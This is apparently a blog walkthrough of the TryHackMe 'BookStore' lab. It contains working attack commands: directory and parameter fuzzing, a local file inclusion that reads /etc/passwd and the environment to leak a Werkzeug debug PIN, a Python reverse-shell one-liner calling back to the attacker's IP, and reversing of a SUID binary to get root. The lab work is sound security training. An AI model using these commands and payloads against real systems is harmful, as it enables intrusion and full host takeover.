Tryhackme: BookStore — WalkThrough
Today, we will be doing BookStore from TryHackMe which is labeled as an intermediate-level room that aims at teaching web enumeration, local file inclusion, API parameter fuzzing, SUID exploitation, and binary reversing. Without further ado, let’s connect to our THM OpenVPN network and start hacking!!!
Enumerating Open Ports
{kiran@parrot} ~$ nmap -p- --min-rate 10000 10.10.250.152 -oN ~/Desktop/nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-19 07:09 +0545
Warning: 10.10.250.152 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.250.152
Host is up (0.19s latency).
Not shown: 63664 closed ports, 1868 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 42.70 seconds
Three ports (22,80 and 5000) were found to be open.
Detailed Nmap Scan
{kiran@parrot} ~$ nmap -A -p 22,80,5000 10.10.250.152
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-19 08:31 +0545
Nmap scan report for 10.10.250.152
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.29 seconds
Port 5000 looks interesting. Also its robots.txt says there is one disallowed entry /api
. I will come back later at this port after I finish scanning port 80.
Port 80
This is the landing page of the website.
And after hopping to books.html, we see descriptions for random 4 books.
Lets scan for the hidden directories using the gobuster
tool.
Directory Bruteforcing
{kiran@parrot} ~$ gobuster dir -u http://10.10.250.152/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.250.152/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
2021/04/19 07:39:11 Starting gobuster
===============================================================
/images (Status: 301)
/index.html (Status: 200)
/login.html (Status: 200)
/books.html (Status: 200)
/assets (Status: 301)
/javascript (Status: 301)
After checking inside the assets/js
folder, I found api.js
file which seems juicy to me. The contents of the file is given below.
function getAPIURL() {
var str = window.location.hostname;
str = str + ":5000"
return str;
}
async function getUsers() {
var u=getAPIURL();
let url = 'http://' + u + '/api/v2/resources/books/random4';
try {
let res = await fetch(url);
return await res.json();
} catch (error) {
console.log(error);
}
}
async function renderUsers() {
let users = await getUsers();
let html = '';
users.forEach(user => {
let htmlSegment = `<div class="user">
<h2>Title : ${user.title}</h3> <br>
<h3>First Sentence : </h3> <br>
<h4>${user.first_sentence}</h4><br>
<h1>Author: ${user.author} </h1> <br> <br>
</div>`;
html += htmlSegment;
});
let container = document.getElementById("respons");
container.innerHTML = html;
}
renderUsers();
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.
According to the comment, the previous version of the API(currently v2
) is vulnerable to Local File Inclusion attacks. In my guess, it might be named v1
. We will come at that later.
Port 5000
It seems like this port is running the API functionality.
I am using FFUF tool for scanning the directories inside web-server at port 5000.
{kiran@parrot} ~$ ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.250.152:5000/FUZZ -s
api [Status: 200, Size: 825, Words: 82, Lines: 12]
console [Status: 200, Size: 1985, Words: 411, Lines: 53]
We had already discovered the api
endpoint from the nmap scan. There is also console
endpoint we just found from the above scan.
/api
We found the documentation for v2 API. GET parameters are also supported by the API. Now comes the exciting part i.e, exploitation. We need to find that parameter in v1
which was actually vulnerable to LFI. It’s time to spin up FFUF again.
API Parameter Fuzzing
{kiran@parrot} ~$ ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u "http://10.10.251.54:5000/api/v1/resources/books?FUZZ=/etc/passwd"
id
show
author
published
‘show
‘ parameter looks suspicious to me since it was not present in the documentation. Lets try LFI using this parameter.
Local File Inclusion
{kiran@parrot} ~$ curl "http://10.10.251.54:5000/api/v1/resources/books?show=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sid:x:1000:1000:Sid,,,:/home/sid:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
Voila! It worked. Next I tried to read the SSH private key of user sid
but it gave error.
Why not try fuzzing the show
parameter with other LFI payloads?
Exploit
LFI Payloads Testing
{kiran@parrot} ~$ ffuf -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://10.10.108.176:5000/api/v1/resources/books?show=FUZZ"
/etc/apt/sources.list [Status: 200, Size: 3023, Words: 310, Lines: 56]
/etc/fstab [Status: 200, Size: 463, Words: 68, Lines: 11]
/etc/group [Status: 200, Size: 709, Words: 1, Lines: 56]
/etc/crontab [Status: 200, Size: 722, Words: 103, Lines: 16]
/etc/apache2/apache2.conf [Status: 200, Size: 7224, Words: 1, Lines: 1]
/etc/resolv.conf [Status: 200, Size: 749, Words: 98, Lines: 20]
/etc/rpc [Status: 200, Size: 887, Words: 36, Lines: 41]
/etc/ssh/sshd_config [Status: 200, Size: 3264, Words: 294, Lines: 123]
/etc/updatedb.conf [Status: 200, Size: 403, Words: 42, Lines: 5]
/proc/interrupts [Status: 200, Size: 1773, Words: 695, Lines: 41]
/proc/loadavg [Status: 200, Size: 26, Words: 5, Lines: 2]
/proc/mounts [Status: 200, Size: 2269, Words: 156, Lines: 32]
/proc/net/arp [Status: 200, Size: 156, Words: 79, Lines: 3]
/proc/net/dev [Status: 200, Size: 446, Words: 248, Lines: 5]
/proc/net/route [Status: 200, Size: 512, Words: 290, Lines: 5]
/proc/partitions [Status: 200, Size: 119, Words: 46, Lines: 6]
/proc/self/cmdline [Status: 200, Size: 34, Words: 1, Lines: 1]
/proc/self/environ [Status: 200, Size: 210, Words: 1, Lines: 1]
/proc/version [Status: 200, Size: 152, Words: 17, Lines: 2]
/proc/net/tcp [Status: 200, Size: 21300, Words: 8486, Lines: 143]
After manually checking all these files, I found some sensitive information inside /proc/self/environ
file. The DEBUG_PIN
for the console was laying around. This is Sensitive File Disclosure.
{kiran@parrot} ~$ curl "http://10.10.108.176:5000/api/v1/resources/books?show=/proc/self/environ" --output -
LANG=en_US.UTF-8OLDPWD=/home/sidPWD=/home/sidHOME=/home/sidWERKZEUG_DEBUG_PIN=<REDACTED>SHELL=/bin/shSHLVL=1LOGNAME=sidPATH=/usr/bin:/bin_=/usr/bin/python3WERKZEUG_SERVER_FD=3WERKZEUG_RUN_MA
IN=true
Let’s use this pin to enter inside the debug console.
Inside this interactive console, we can run arbitrary python expressions we like in the context of the running web application. Lets try to obtain the reverse shell in our local machine.
Reverse Shell
This is the payload I used to obtain the shell back to my machine.
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.147.137",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Obtaining the user flag
A binary file named try-harder
was also laying around with its SUID bit set ON. If only we could reverse this and find some misconfigurations inside this binary file, we can obtain the root shell of the machine.
I will be transferring this file to my local machine so that I can analyze it using ghidra
. I accomplished this using http.server
in the remote machine and wget
in my local machine.
This is the decompiled C code from ghidra. Lets have a code review.
void main(void)
{
long in_FS_OFFSET;
uint local_1c;
uint local_18;
uint local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setuid(0);
local_18 = 0x5db3;
puts("What\'s The Magic Number?!");
__isoc99_scanf(&DAT_001008ee,&local_1c);
local_14 = local_1c ^ 0x1116 ^ local_18;
if (local_14 == 0x5dcd21f4) {
system("/bin/bash -p");
}
else {
puts("Incorrect Try Harder");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The main logic in this code is checking the value of local_14
variable and if it equals 0x5dcd21f4
, then the root user’s bash will pop out. There is a bit of maths here. ^ represents bit-wise XOR. local_1c
is the value we input in the terminal.
local_14 = local_1c ^ 0x1116 ^ local_18; //Let's solve the maths
or, 0x5dcd21f4 = local_1c ^ 0x1116 ^ 0x5db3; //Substituting values for local_14 & local_18
or, 0x5dcd21f4 = local_1c ^ 0x5ca5;
or, 0x5dcd21f4^0x5ca5 = local_1c ^ 0x5ca5^0x5ca5;
Therefore, local_1c = 1573743953
We found that magic number. Let’s go to get the root.
Privilege Escalation
Now we can access the root.txt at /root folder.
Such a nice box. Happy Hacking!!!
Founder of cybersecnerds.com. Electronics Engineer by profession, Security Engineer by passion.
I am a Linux Enthusiast and highly interested in the offensive side of the CyberSec industry. You will find me reading InfoSec blogs most of the time.